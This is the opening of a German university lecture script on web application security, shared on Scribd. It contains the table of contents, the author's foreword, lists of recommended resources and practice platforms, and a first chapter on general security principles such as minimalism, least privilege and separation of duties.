0% fanden dieses Dokument nützlich (0 Abstimmungen)
4 Ansichten191 Seiten

WebSec

Das Dokument ist ein umfassendes Inhaltsverzeichnis zu Sicherheitsprinzipien, Prozessen und Technologien in der Webentwicklung. Es behandelt Themen wie Authentifizierung, Autorisierung, Session-Management und verschiedene Arten von Angriffen. Die Struktur umfasst mehrere Kapitel, die jeweils spezifische Sicherheitsaspekte und reflektierende Fragen behandeln.

Hochgeladen von

akilmohamed163
Copyright
© All Rights Reserved
Wir nehmen die Rechte an Inhalten ernst. Wenn Sie vermuten, dass dies Ihr Inhalt ist, beanspruchen Sie ihn hier.
Verfügbare Formate
Als PDF, TXT herunterladen oder online auf Scribd lesen
0% fanden dieses Dokument nützlich (0 Abstimmungen)
4 Ansichten191 Seiten

WebSec

Das Dokument ist ein umfassendes Inhaltsverzeichnis zu Sicherheitsprinzipien, Prozessen und Technologien in der Webentwicklung. Es behandelt Themen wie Authentifizierung, Autorisierung, Session-Management und verschiedene Arten von Angriffen. Die Struktur umfasst mehrere Kapitel, die jeweils spezifische Sicherheitsaspekte und reflektierende Fragen behandeln.

Hochgeladen von

akilmohamed163
Copyright
© All Rights Reserved
Wir nehmen die Rechte an Inhalten ernst. Wenn Sie vermuten, dass dies Ihr Inhalt ist, beanspruchen Sie ihn hier.
Verfügbare Formate
Als PDF, TXT herunterladen oder online auf Scribd lesen

Inhaltsverzeichnis

Inhaltsverzeichnis i

Allgemeines v
Struktur dieses Dokumentes . . . . . . . . . . . . . . . . . . . . . . . vi
Weiterführende Informationen . . . . . . . . . . . . . . . . . . . . . . vii
Out-of-Scope für dieses Skript . . . . . . . . . . . . . . . . . . . . . . ix

I Einführung 1

1 Security Principles 3
1.1 Minimalprinzip . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
1.2 Least Privilege . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
1.3 Separation of Duties . . . . . . . . . . . . . . . . . . . . . . . . 6
1.4 Defense in Depth/Hardening . . . . . . . . . . . . . . . . . . . 7
1.5 Fail-Open vs. Fail-Closed . . . . . . . . . . . . . . . . . . . . . 7
1.6 No-Go: Security by Obscurity . . . . . . . . . . . . . . . . . . . 7
1.7 Keep it Simple Stupid (KISS) . . . . . . . . . . . . . . . . . . . 8
1.8 Security-by-Design bzw. Security-by-Default . . . . . . . . . . . 8
1.9 Trennung von Daten- und Programm-Logik . . . . . . . . . . . 8
1.10 Reflektionsfragen . . . . . . . . . . . . . . . . . . . . . . . . . . 9

2 Sicherheit als Prozess 11


2.1 Requirementsanalyse . . . . . . . . . . . . . . . . . . . . . . . . 12
2.2 Threat Modeling . . . . . . . . . . . . . . . . . . . . . . . . . . 13
2.3 Secure Coding . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
2.4 Secure Testing . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
2.5 Maintenance . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
2.6 Reflektionsfragen . . . . . . . . . . . . . . . . . . . . . . . . . . 18

i
ii INHALTSVERZEICHNIS

3 Web Technologien 19
3.1 HTTP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
3.2 Transportlevel-Sicherheit . . . . . . . . . . . . . . . . . . . . . . 24
3.3 Sessions and Cookies . . . . . . . . . . . . . . . . . . . . . . . . 26
3.4 JavaScript . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29
3.5 Same-Origin-Policy (SOP) . . . . . . . . . . . . . . . . . . . . . 30
3.6 WebSockets . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32
3.7 WebAssembly . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33
3.8 HTML5 / Progressive Web Appplications . . . . . . . . . . . . 33
3.9 Reflektionsfragen . . . . . . . . . . . . . . . . . . . . . . . . . . 35

4 Web Applikationen 37
4.1 Struktur . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37
4.2 Angriffsfläche/Attack Surface . . . . . . . . . . . . . . . . . . . 43
4.3 Speicherung von Passwörtern . . . . . . . . . . . . . . . . . . . 44
4.4 Reflektionsfragen . . . . . . . . . . . . . . . . . . . . . . . . . . 47

5 Integration mit der Umgebung 49


5.1 Using Components with Known Vulnerabilities . . . . . . . . . 49
5.2 Insufficient Logging and Monitoring . . . . . . . . . . . . . . . 51
5.3 DevOps und Tooling . . . . . . . . . . . . . . . . . . . . . . . . 53
5.4 DevOps and Security . . . . . . . . . . . . . . . . . . . . . . . . 56
5.5 Reflektionsfragen . . . . . . . . . . . . . . . . . . . . . . . . . . 58

6 Kryptographische Grundlagen 59
6.1 Verschlüsselung . . . . . . . . . . . . . . . . . . . . . . . . . . . 60
6.2 Block- und Stream-Cipher . . . . . . . . . . . . . . . . . . . . . 61
6.3 Integritätsschutz . . . . . . . . . . . . . . . . . . . . . . . . . . 61
6.4 Zufallszahlen . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62
6.5 Weitere Informationsquellen . . . . . . . . . . . . . . . . . . . . 63
6.6 Reflektionsfragen . . . . . . . . . . . . . . . . . . . . . . . . . . 63

II Authentication und Authorisierung 65

7 Authentifikation 67
7.1 Identifikation und Authentifikation . . . . . . . . . . . . . . . . 67
7.2 Login- und Logout . . . . . . . . . . . . . . . . . . . . . . . . . 68
7.3 Behandlung von Passwörtern . . . . . . . . . . . . . . . . . . . 71
7.4 Alternativen zu Passwort-basierten Logins . . . . . . . . . . . . 74
INHALTSVERZEICHNIS iii

7.5 Authentication von Operationen . . . . . . . . . . . . . . . . . 77


7.6 Reflektionsfragen . . . . . . . . . . . . . . . . . . . . . . . . . . 78

8 Authorization 81
8.1 Probleme bei der Berechtigungsüberprüfung . . . . . . . . . . . 81
8.2 Scoping von Daten . . . . . . . . . . . . . . . . . . . . . . . . . 85
8.3 Time of Check, Time of Use (TOCTOU) . . . . . . . . . . . . . 85
8.4 Reflektionsfragen . . . . . . . . . . . . . . . . . . . . . . . . . . 86

9 Session Management 87
9.1 Client- vs Server-Side Session . . . . . . . . . . . . . . . . . . . 88
9.2 Idealer Sessionablauf . . . . . . . . . . . . . . . . . . . . . . . . 90
9.3 Potentielle Probleme beim Session-Management . . . . . . . . . 90
9.4 JSON Web Tokens . . . . . . . . . . . . . . . . . . . . . . . . . 94
9.5 Reflektionsfragen . . . . . . . . . . . . . . . . . . . . . . . . . . 97

10 Federation/Single-Sign on 99
10.1 Festival-Beispiel . . . . . . . . . . . . . . . . . . . . . . . . . . . 99
10.2 OAuth2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 100
10.3 OpenID Connect . . . . . . . . . . . . . . . . . . . . . . . . . . 102
10.4 SAML2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 103
10.5 Reflektionsfragen . . . . . . . . . . . . . . . . . . . . . . . . . . 106

IIIInjection Attacks 109

11 Serverseitige Angriffe 111


11.1 File Uploads . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 112
11.2 Path Traversals . . . . . . . . . . . . . . . . . . . . . . . . . . . 114
11.3 Command Injection . . . . . . . . . . . . . . . . . . . . . . . . 115
11.4 Datenbank-Injections . . . . . . . . . . . . . . . . . . . . . . . . 116
11.5 LDAP-Injections . . . . . . . . . . . . . . . . . . . . . . . . . . 126
11.6 Type-Juggling Angriffe . . . . . . . . . . . . . . . . . . . . . . . 127
11.7 XML-basierte Angriffe . . . . . . . . . . . . . . . . . . . . . . . 129
11.8 Serialisierungsangriffe . . . . . . . . . . . . . . . . . . . . . . . 132
11.9 Server-Side Template Injection (SSTI) . . . . . . . . . . . . . . 141
11.10Reflektionsfragen . . . . . . . . . . . . . . . . . . . . . . . . . . 144

12 Clientseitige Angriffe 147


12.1 JavaScript-Injections (XSS) . . . . . . . . . . . . . . . . . . . . 147
12.2 CSRF Angriffe . . . . . . . . . . . . . . . . . . . . . . . . . . . 158
iv INHALTSVERZEICHNIS

12.3 Unverified Forwards and Redirects . . . . . . . . . . . . . . . . 161


12.4 Clickjacking . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 162
12.5 Reverse Tab Nabbing . . . . . . . . . . . . . . . . . . . . . . . . 163
12.6 HTML5 PostMessage als Angriffskanal . . . . . . . . . . . . . . 164
12.7 Reflektionsfragen . . . . . . . . . . . . . . . . . . . . . . . . . . 166

13 Clientseitige Schutzmaßnahmen 167


13.1 Integration externer Komponenten . . . . . . . . . . . . . . . . 167
13.2 Referrer-Policy . . . . . . . . . . . . . . . . . . . . . . . . . . . 169
13.3 Content-Security-Policy . . . . . . . . . . . . . . . . . . . . . . 170
13.4 Reflektionsfragen . . . . . . . . . . . . . . . . . . . . . . . . . . 174

Index 177
Allgemeines

Ich will jetzt nicht mit der ,,Software ist allgegenwärtig”-Standardfloskel be-
ginnen. Ich glaube, dass dies die Lebensrealität jedens ist, der dieses Buch liest.
Der freie Zugriff auf Informationen und das neue Level an Vernetztheit führen
zu sozialen und ökonomischen Entwicklungen deren Auswirkungen teilweise
nicht absehbar sind. Es sind interessante Zeiten, in denen wir leben; als Infor-
matiker, Hacker, etc. sind wir sind Teil einer privilegierten Schicht und dürfen
auch den Anspruch erheben, Teil dieses Wandels zu sein. Im ursprünglichen
Sinn des Wortes waren Hacker Personen, die Spaß an der Arbeit mit neuen
Technologien hatten und diese auch zweckentfremdeten — The Street will find
its own uses for things wie William Gibson richtig bemerkte.
Technologie verbessert das Leben der Menschen, beinhaltet aber auch Ri-
siken. Durch die Allgegenwärtigkeit von Software wurden und werden Perso-
nen von dieser abhängig. Fehler gefährden Menschen und Ökonomie. Gerade
weil Software so vielseitig ist, können auch vielseitige Fehler entstehen. Wenn
diese bösartig ausgenutzt werden1 ist der Schritt vom Hacker zum Cracker
vollzogen. With great power comes great responsibility — dies gilt auch für
Softwareentwickler. Ich selbst hielt mich für einen guten Softwareentwickler,
wurde Penetration-Tester und sah meinen ehemaligen Code mit neuen Augen.
Meine Meinung über mich selbst änderte sich rapide.
Im Frühjahr 2019 erhielt ich das Angebot, an der FH/Technikum Wien
einen Kurs Web Security zu halten und hoffe, dass ich damit einen kleinen
Teil beitrage die sub-optimale Sicherheitssituation zu verbessern. Dieses Doku-
ment dient als Skript, auch weil ich befürchte, während des Vortrags wichtige
Punkte zu übersehen bzw. als Möglichkeit Basisinformationen aus der Vor-
lesung auszulagern. Es gibt leider zu viele Schwachstellen und zu wenig Zeit
um jede durchzugehen. Ein Beweggrund für mich auf der Fachhochschule zu
unterrichten ist, dass wir alle Fehler machen. Unser Ausbildungsniveau sollte
zumindest so hoch sein, dass wir zumindest innovative Fehler begehen.
1
Subjektiv im Auge des Betrachters.

v
vi ALLGEMEINES

Ich spüre aber auch die Angst, etwas zu veröffentlichen das potentiell Feh-
ler beinhaltet oder auch teilweise meine Meinung widerspiegelt. In der Webent-
wicklung gibt es keine perfekte Wahrheit, Dinge ändern sich. Ich habe dieses
Skript nach der zweiten Iteration meiner Vorlesung, nach positivem Feedback
in öffentlichen Foren als auch durch Studenten, 2020 offiziell höchst-nervös
veröffentlicht.
Ich hoffe, dass die schlimmsten Missverständnisse bereits durch meine Stu-
denten erkannt, und von mir ausgebessert, wurden. Wenn nicht, würde ich
mich um ein kurzes Feedback unter [Link] freuen.
Ich stufe Feedback als essentiell dafür ein, dass meine zukünftigen Studenten
einen guten Unterricht erhalten.
Die aktuelle Version dieses Buchs ist unter [Link]
unter einer Creative-Commons Lizenz verfügbar. Der idente Inhalt wird auch
periodisch als Amazon Kindle eBook veröffentlicht. Auf Anfrage einzelner Stu-
denten ist dieses Skript auch als Buchversion verfügbar. Leider ist das Update
eines Papierbuchs nicht so einfach möglich. Da Web-Technologie lebendig ist,
überarbeite ich dieses Skript jedes Jahr neu — aus diesem Grund habe ich
einen niedrigen Buchpreis gewählt und hoffe, dass dies als fair empfunden
wird.

Struktur dieses Dokumentes


Zur besseren Verständlichkeit wurde ein Top-Down-Approach gewählt. Im Zu-
ge der Vorlesung bewährte sich dies, da auf diese Weise die Studenten vom
Allgemeinen in die jeweiligen Spezialfälle geführt werden können.
Im ersten Part Einführung versuche ich das Umfeld von Security zu be-
leuchten. Da meine Welt ursprünglich die Softwarenentwicklung war, gebe
ich hier auch einen groben Überblick wie Security während der Entwick-
lung beachtet werden kann. Zusätzlich versuche ich unser Zielumfeld, Web-
Applikatoinen, etwas genauer zu betrachten. Auf diese Weise soll auch sicher
gestellt werden, dass Studenten bzw. Leser einen ausreichenden Wissensstand
vor Beginn der eigentlichen Security-Themen besitzen.
Der nächste Part (Authentication und Autorisierung) behandelt high-level
Fehler bei der Implementierung der Benutzer- und Berechtigungskontrolle.
Drei Kapitel (Authentication, Authorization, Federation/Single Sign-On) be-
schreiben Gebiete, die applikationsweit betrachtet werden müssen — falls hier-
bei Fehler auftreten, ist zumeist die gesamte Applikation betroffen und gebro-
chen.
WEITERFÜHRENDE INFORMATIONEN vii

Im darauf folgenden Part (Injection Attacks) wird auf verschiedene Injection-


Angriffe eingegangen. Hier wurde zwischen Angriffen, die direkt gegen den
Webserver, und Angriffen die einen Client (zumeist Webbrowser) benötigen,
unterschieden. Während auch hier Schutzmaßnahmen am besten global für die
gesamte Applikation durchgeführt werden sollten, betrifft hier eine Schwach-
stelle zumeist einzelne Operationen und kann dadurch auch lokal korrigiert
werden.

Weiterführende Informationen
Dieses Dokument kann nur eine grobe Einführung in Sicherheitsthemen bie-
ten. Es ist als kurzweiliges Anfixen gedacht und soll weitere selbstständige
Recherchen motivieren. Aus diesem Grund will ich hier auf einige weitere
Fortbildungsmöglichkeiten verweisen. Diese sollen als erste Anlaufstelle für
ein potentielles Selbststudium dienen.

What to read?
Für weitere Informationen sind die Dokumente des OWASP2 empfehlens-
wert. OWASP selbst ist eine Non-Profit Organisation welche ursprünglich
das Ziel hatte, die Sicherheit von Web-Anwendungen zu erhöhen, mittlerweile
aber auch im Mobile Application bzw. IoT Umfeld tätig ist. Das bekanntes-
te OWASP-Dokument sind wahrscheinlich die OWASP Top 103 welche eine
Sammlung der 10 häufigsten Sicherheitsschwachstellen im Web sind.
Der OWASP Application Security Verification Standard4 , kurz ASVS, bie-
tet eine Checkliste die von Penetration-Testern bzw. Software-Entwicklern
verwendet werden kann, um Software auf die jeweiligen Gegenmaßnahmen
für die OWASP Top 10 Angriffsvektoren zu testen. Der OWASP Testing
Guide5 liefert zu jedem Angriffsvektor Hintergrundinformationen, potentielle
Testmöglichkeiten als auch Referenzen auf Gegenmaßnahmen. Dieser Guide
sollte eher als Referenz und nicht als Einführungsdokument verwendet werden.
Um auf den aktuellen Stand im Bereich Web Security zu bleiben ist ein
Besuch von The Daily Swig 6 von PortSwigger empfehlenswert. Die großen To-
2
Open Web Application Security Project
3
[Link] Top Ten Project
4
[Link] Application Security Verif
ication Standard Project
5
[Link]
6
[Link]
viii ALLGEMEINES

pics dieser Nachrichtenseite sind Data Breaches, Vulnerabilites, Ransomware


und technische Deep Dives.
Prinzipiell ist es für Personen im Security-Umfeld höchst erstrebenswert
sowohl Programmier- als auch Softwarearchitektur-Kenntnisse zu besitzen.
Für ersteres bietet sich das Studium von JavaScript (z. B. über https:
//[Link]) an. Diese Sprache wird sowohl server- als auch client-
seitig (z. B. innerhalb eines Webbrowsers) eingesetzt, das Erlernte kann da-
durch an verschiedenen Stellen relevant werden.

What to hack?
Web Security kann nicht ausschließlich theoretisch gelehrt werden, wenn man
in dem Umfeld aktiv sein will muss man hands-on Praxisbeispiele sehen und
auch versuchen. Das Gefühl, bei einer Web-Applikation permanent mit dem
Kopf gegen die Wand zu laufen, immer weider neue Angriffe erfolglos zu
versuchen bis man einen funktionierenden Angriff gefunden, und sich nach
erfolgter Ausnutzung zufrieden zurücklehnen kann, kann nur erlebt werden.
Glückerlicher Weise gibt es mittlerweile eine Vielzahl an gratis bzw. freemium-
basierten Webangeboten welche genau diese Gelegenheit bieten.
Eine Auflistung dieser kann in Tabelle 1 vorgefunden werden7 . Die Spal-
ten ,,online”, ,,VPN” und ,,VM” sollten darstellen, wie das jeweilige Angebot
genutzt werden kann. ,,Online” sind Kurse, bei denen eine verwundbare We-
bapplikation direkt über den Browser des Benutzers getestet werden kann:
es muss nicht zwingend am lokalen Rechner eine Virtualisierungslösung oder
ähnliches installiert werden. Lösungen der Spalte ,,VM” sind das genaue Ge-
genteil: hier kann zumeist eine virtuelle Maschine bezogen und lokal installiert
werden. In dieser virtuellen Maschine befindet sich die zu testende Software.
In diesem Fall benötigt man zwar lokal installierte Virtualisierungssoftwa-
re, ist dafür allerdings von der Internet-/Netzwerkverbindungsqualität groß-
teils unabhängig. ,,VPN”-Lösungen sind eine Mischform: bei diesen erhält
man Zugangsdaten für einen VPN-Einwahlknoten und gelangt über diesen
zu einem virtuellen Labornetzwerk in welchem sich virtuelle Maschinen mit
verwundbarer Software befinden. In diesem Fall muss man zwar lokal einen
VPN-Client installieren, diese ist allerdings leichtgewichtiger als eine volle Vir-
tualisierungslösung. Zusätzlich bieten ,,VPN”-basierte Ansätze auch teilweise
größere Netzwerke in denen man auch Post-Exploitation Tätigkeiten wie La-
teral Movement trainieren kann.
7
Ich habe mich bei dieser Liste auf Angebote welche, zumindest teilweise, gratis nutzbar
sind, beschränkt, daher fehlt hier z.B. Offensive Security ([Link])
obwohl diese von mir hoch geschätzt werden.
OUT-OF-SCOPE FÜR DIESES SKRIPT ix

Name auch kommerziell Online VPN VM


Web Security Academy8 ja x
Vulnhub9 nein x
Pentester lab10 ja x x
Hack the Box11 ja x

Tabelle 1: Online-Angebote für Hacking-,,Praxisbeispiele”

Im Scope unterscheiden sich die gelisteten Lösungen ebenso. Während Web


Security Academy und Pentester Lab sich an Security-Schulungen anlehnen
und Theorie bzw. Hintergrundinformationen bieten, steht bei VulnHub und
Hack the Box das ,,Doing”, also das Hacken von Maschinen, im Vordergrund.
Die beiden letztgenannten Plattformen bieten weniger Hintergrundinforma-
tionen, diese können aber im Normalfall durch Suche im Internet gefunden
werden.

What to attend?
OWASP selbst ist in Städte-zentrische Chapters organisiert, ich bin zum Bei-
spiel bei dem Chapter Vienna (Austria) aktiv12 . Aktuell finden aufgrund der
anhaltenden COVID-19 Situation keine Stammtische statt, es gibt allerdings
unregelmässige virtuelle Meetupgs.

Out-of-Scope für dieses Skript


Auf drei wichtige Bereiche wird im Zuge dieses Skripts nicht explizit einge-
gangen:

Denial-of-Service Angriffe
Denial-of-Service Angriffe zielen darauf ab, die Verfügbarkeit einer Applika-
tion zu beeinträchtigen. Dadurch kann der Dienst nicht mehr benutzt bzw.
konsumiert werden und dem Betreiber entstehen Kosten, z.B. Verdienstent-
gang durch einen ausgefallenen Webshop.
Ein DoS-Angriff zielt entweder auf eine Applikations-bezogene Ressource
wie z.B. erlaubte Verbindungen pro Applikationsbenutzer oder eine fundamen-
tale Systemressource wie z.B. CPU-Zeit, Speicher oder Netzwerkbandbreite
12
[Link]
x ALLGEMEINES

ab. Als Applikationsentwickler kann man bei Ressourcen-intensiven Operatio-


nen mittels Rate-Limits die Situation entschärfen.
In diesem Dokument wird nicht tiefer auf DoS-Angriffe eingegangen, da
diese quasi die Holzhammermethode darstellen. Gerade gegenüber Angriffen
gegen die Netzwerkbandbreite kann nur über kommerzielle Cloud- bzw. Re-
chenzentrenbetreiber entgegengewirkt werden. Diese sind kostspielig und es
entsteht eine Asymmetrie: die Abwehr des Angriffs kann kostspieliger als der
Angriff selbst werden. Somit wird aus einem technischen DoS ein monetärer
DoS.

Security und Usability


Es gibt das Vorurteil, dass Sicherheit und Usability konträr zueinander sind.
Während dies in wenigen bedauerlichen Einzelfällen gegeben sein kann, sollte
dies nicht als Pauschalausrede missbraucht werden.
Der Benutzer will primär eine Aufgabe erledigen. Im Zuge der Erledi-
gung dieser Aufgabe sollte Sicherheit nicht im Weg stehen. Stattdessen soll-
te der offensichtliche Weg der Aufgabenerledigung sicher implementiert sein
und den Benutzer über einen sicheren Weg zur Erledigung der Aufgabe lei-
ten. Falls sicherheitsrelevante Benutzerentscheidungen notwendig sind, sollten
diese möglichst früh erfolgen — wird dies während der Abarbeitung einer
Aufgabe durchgeführt, kann der Benutzer so fokussiert sein, dass die Sicher-
heitsentscheidung nur peripher beachtet wird.
Ebenso sollte der Benutzer nicht mit irrelevanten Fragen bombardiert wer-
den da daruch nur der “Meldung-wegklicken”-Reflex des Benutzers konditio-
niert wird. Die Willigkeit eines Benutzers, auf Sicherheit Rücksicht zu nehmen
ist begrenzt, vergleichbar mit einer Batterie. Wenn diese erschöpft ist, wird
weniger (oder gar keine) Rücksicht auf die Security genommen.
Ein besserer Weg ist es, per default sichere Prozesse zu implementieren und
im Bedarfsfall unsichere Operationen durch den Benutzer explizit zu erlauben.
Die dabei verwendeten Benutzerinteraktionen sollten dem NEAT-Prinzipien
genügen:

ˆ Necessary: kann die Applikation, anstatt den Benutzer zu fragen, das


Problem auf eine andere sichere Art und Wiese lösen?

ˆ Explained: besitzt der Benutzer das notwendige Wissen um eine infor-


mierte Entscheidung zu treffen?

ˆ Actionable: kann der Benutzer überhaupt sinnvoll auf die dargestellte


Meldung reagieren?
OUT-OF-SCOPE FÜR DIESES SKRIPT xi

ˆ Tested: ist die Meldung innerhalb der UX sinnvoll und wurde getestet,
ob sie in jeglicher Form von Benutzerfluss sinnvoll ist?

Im Zuge der DSGVO/GDPR wurde bestimmt, dass Software secure by


design and default sein muss. Dies bedeutet, dass Software die Möglichkeit
einer sicheren Konfiguration bieten, und diese im Auslieferungszustand auch
sicher konfiguriert sein muss. Ein dagegen verstossendes Beispiel wäre der
Einsatz von Default-Passwörtern.

Ethical Web Development


Technik an sich ist wertneutral. Sobald diese allerdings in Berührung mit der
Realität kommt, entsteht ein ethischer Impact. Web Applikationen sind hier
keine Ausnahme. Im Zuge des Skripts wird auf ethischen Impact nicht explizit
eingegangen, da der Inhalt der Vorlesung das Werkzeug und nicht das Ziel des
erstellten Werks ist.
Um die ethische Dimension nicht vollständig zu ignorieren, ein paar Richt-
linien der EDRi13 :

Allow as much data processing on an individual’s device as possible.


Dies würde im Web-Umfeld den Einsatz von JavaScript bedingen, da
nur auf diese Weise Daten direkt im Browser des Benutzers verarbeitet
werden können.

Where you must deal with user data, use encryption. Dies inkludiert
sowohl Transport-Level Encryption (wie TLS) als auch Verschlüsselung
der bearbeiteten Daten.

Where possible also use data minimisation methods. Das Minimalprin-


zip sollte auch auf die gespeicherten Daten angewendet werden. Daten
die eine Applikation nicht besitzt sind Daten, die auch nicht entwendet
oder zweckentfremdet werden können.

Use first-party resources and avoid using third-party resources. Es be-


steht die Sorge, dass externe Ressourcen modifiziert werden könnten.
Dies soll durch die Verwendung eigener Ressourcen vermieden werden.
Falls notwendig, können CSP-Direktiven bzw. Subresource Integrity ver-
wendet werden um die Integrität externer Ressourcen sicherzustellen.

13
[Link]
Teil I

Einführung

1
KAPITEL 1
Security Principles

Während sich Technologien und Architekturen permanent wandeln und verändern,


gibt es Sicherheitsprinzipien die quasi allgemein gültig als Grundlage für al-
le weiteren Entscheidungen dienen. Einige dieser werden in diesem Kapitel
erläutert.

1.1 Minimalprinzip
Die Applikation sollte nur jene Operationen und Funktionen beinhalten, die
für die Erfüllung der Kundenanforderungen zwingend benötigt werden. Alle
weiteren Funktionen und Operationen sollten deaktiviert bzw. entfernt wer-
den.
Durch diese Reduktion des Funktionsumfangs wird implizit die Angriffs-
fläche verringert und dadurch Angriffe erschwert. Was nicht vorhanden ist,
kann nicht angegriffen werden. Zusätzlich wird der langfristige Wartungsauf-
wand reduziert.
Die Minimierung kann und sollte an mehreren Stellen durchgeführt wer-
den, einige Beispiele:

ˆ Reduktion benötigter Operationen: ist eine Operation wirklich für den


Kunden notwendig oder könnte der Kundenwunsch mit bereits imple-
mentierten Operationen ebenso befriedigt werden?

ˆ Reduktion der gesammelten und gespeicherten Daten: was ist das mi-
nimale Datenset, dass für die Bereitstellung der Operationen benötigt

3
4 KAPITEL 1. SECURITY PRINCIPLES

wird. Dies entspricht auch der Datenminimierung die durch die DSGVO1
vorgeschrieben wird. Hier gibt es einen Wandel der Kultur: von big-data
(alles speichern, vielleicht kann man das später verwenden) Richtung
toxic-data (Daten sind gefährlich, wie komme ich mit möglichst wenig
Daten aus).

ˆ Komponentenebene: welche Komponenten sind für den Betrieb notwen-


dig?

ˆ Funktionale Ebene: welche Funktionen und Features können innerhalb


von Komponenten deaktiviert werden?

1.1.1 Security Misconfiguration


In den OWASP Top 10 kommen häufiger Security Misconfiguration als Beispiel
für Verstösse gegen das Minimalprinzip vor.
Wie bereits erwähnt, ist die Grundidee, dass im Produktionsbetrieb nur
Komponenten und Features vorhanden sind, die auch für die Umsetzung eines
Kundenwunsches benötigt werden. Beispiele für Software, die nicht am Server
vorgefunden werden sollte:

ˆ Entwicklungstools wie phpmyadmin. Diese besitzen meistens getrennte


Zugangsdaten (verwenden also nicht die Zugangsdaten/Berechtigungen
der Web-Applikation) und sind daher potentiell ein alternate channel
über den auf eine Webapplikation zugegriffen werden kann.

ˆ Debug Mode bei verwendeten Frameworks, dieser erlaubt teilweise im


Fehlerfall die Verwendung von interaktiven Shells direkt innerhalb der
Webapplikation. Dies würde es einem Angreifer erlauben, direkt Pro-
grammcode abzusetzen.

ˆ Debug Toolbars bei Verwendung von Frameworks. Diese erlauben es


zeitweise die letzten Sessions aller Benutzer anzuzeigen und erleichtern
auf diese Weise Identity Theft.

ˆ Stacktraces mit Detailinformationen im Produktivbetrieb. Ein norma-


ler Anwendern kann mit diesen Informationen nichts anfangen, ein An-
greifer kann durch diese allerdings genaue Systeminformationen (Biblio-
theksversionen, Pfade, etc.) erhalten welche weiter Angriffer erleichtern
können.
1
Datenschutzgrundverordnung, siehe auch [Link]
utz-Grundverordnung
1.2. LEAST PRIVILEGE 5

ˆ [Link] liefert genaue Informationen über die verwendete PHP-


Version, verfügbare Module, System- und Konfigurationsinformationen
die im Produktivbetrieb nicht öffentlich verfügbar sein müssen.

Beispiele für Metadaten, die nicht am Server vorgefunden werden sollten:

ˆ Beispielscode wie z.B. ein /example Verzeichnis. Dieser kann zeitweise


ebenso Sicherheitsfehler enthalten und auf diese Weise Zugang zu dem
System erlauben. Auch Beispielscode ohne serverseitige Exekution kann
missbraucht werden, siehe z. B. DOM-basierte XSS-Angriffe.

ˆ .git, .svn Verzeichnisse: diese beinhalten den gesamten Source-Code samt


Versionshistory. Ein Angreifer kann auf diese Weise sowohl interne Cre-
dentials erhalten als auch den verwendeten Source Code analysieren.

ˆ Credentials im Dateisystem oder in Repositories. Da Repositories häufig


auf öffentlichen Webservern gespeichert wird (z.B. private gitlab, git-
hab oder bitbucket Repositories) gespeichert wird, können diese im Fal-
le einer Fehlkonfiguration auch potentiell öffentlich zugreifbar gemacht
werden. In diesem Fall besitzt ein Angreifer credentials mit denen er
potentiell auf sensible Aktivitäten oder Daten zugreifen kann.

ˆ Backup files (.bak, .tmp) innerhalb des Dateisystems, diese werden z.B.
durch Texteditoren angelegt. Wird z.B. auf einem PHP-System eine
PHP-Datei am Webserver abgelegt und ein Angreifer greift darauf zu,
wird der Code am Server ausgeführt und der Angreifer erhält nur das
Ergebnis der Operation. Falls der Angreifer eine Backup-Datei am Ser-
ver findet, kann er auf diese zugreifen, herunterladen und analysieren
und kann auf diese Weise Fehler innerhalb des Source Codes suchen.

1.2 Least Privilege


Jeder Benutzer und jede Funktion sollte nur jene minimalen Rechte und Pri-
vilegien besitzen, die für die Ausführung seiner Ausgabe zwingend benötigt
werden. Jerome Saltzer2 definierte diesen, als Least Privilege bekannten, An-
satz als:
2
Jerome Saltzer war an der Entwicklung von Multics involviert und leitete später Pro-
jekt Athena am MIT. Dieses Projekt war massgeblich an der Entwicklung graphischer Ober-
flächen und Netzwerktechnologien wie z.B. Kerberos involviert.
6 KAPITEL 1. SECURITY PRINCIPLES

Every program and every priviledged user of the system should


operate using the least amount of priviledge necessary to complete
the job.

Wird dieses Prinzip bereits während des Designs beachtet, führt dies zu-
meist zu Systemen, welche aus mehreren Komponenten bestehen. Diese Kom-
ponenten kommunizieren über wohl-definierte Interfaces und können nicht “di-
rekt” auf die Daten anderer Komponenten zugreifen. Dies verbessert die Test-
barkeit der einzelnen Komponenten, da diese getrennt voneinander überprüft
werden können. Aus Sicherheitssicht ist diese Architektur ebenso stark zu
bevorzugen da eine kompromittierte Komponente nicht automatisch ein kom-
promittiertes Gesamtsystem zur Folge hat.
Um diese Trennung zu ermöglichen, müssen Komponenten mit unterscheid-
baren Identitäten und mit zuweisbaren Ressourcen betrieben werden. Dies
inkludiert sowohl Benutzer- und Zugriffsrechte als auch Entitlements auf Res-
sourcen (RAM, CPU, Speicher, Netzwerkbandbreite). Weiters inkludiert dies
Netzwerkzugriffsrechte: die Applikation sollte nur auf jene remote Server zu-
greifen können, die auch wirklich zwingend für den Betrieb notwendig sind.

1.3 Separation of Duties


Separation of Duties besagt, dass zur Ausführung einer Operation die Zu-
stimmung von mehr als einer Person benötigt wird. Ein klassisches Beispiel
hierfür wäre die Aktivierung eines Atomsprengkopfes für das mehrere Perso-
nen ihre Zustimmung geben müssen. Das Ziel von Separation of Duties ist
auf der einen Seite die Vermeidung von Insider-Threats, auf der anderen Seite
soll dadurch die Entdeckungsrate von nicht-gewollten Aktivitäten erhöht wer-
den. Grundsätzlich sollte ein kompromittierter Benutzer nicht die Möglichkeit
besitzen, das Gesamtsystem zu korrumpieren.
Eine Anwendung dieser Idee ist das Vier-Augen-Prinzip bei dem sensible
Operationen vor Ausführung zuerst durch zumindest zwei Personen bestätigt
werden müssen.
Um diese Prinzipien anwenden zu können, müssen Anwender zweifelsfrei
identifiziert, authentifiziert und für die auszuführende Operationen autorisiert
werden. Aus diesem Grund werden Mehr-Faktor-Authentifizierungslösungen
häufig im Umfeld des Separation of Duties Prinzips gefunden.
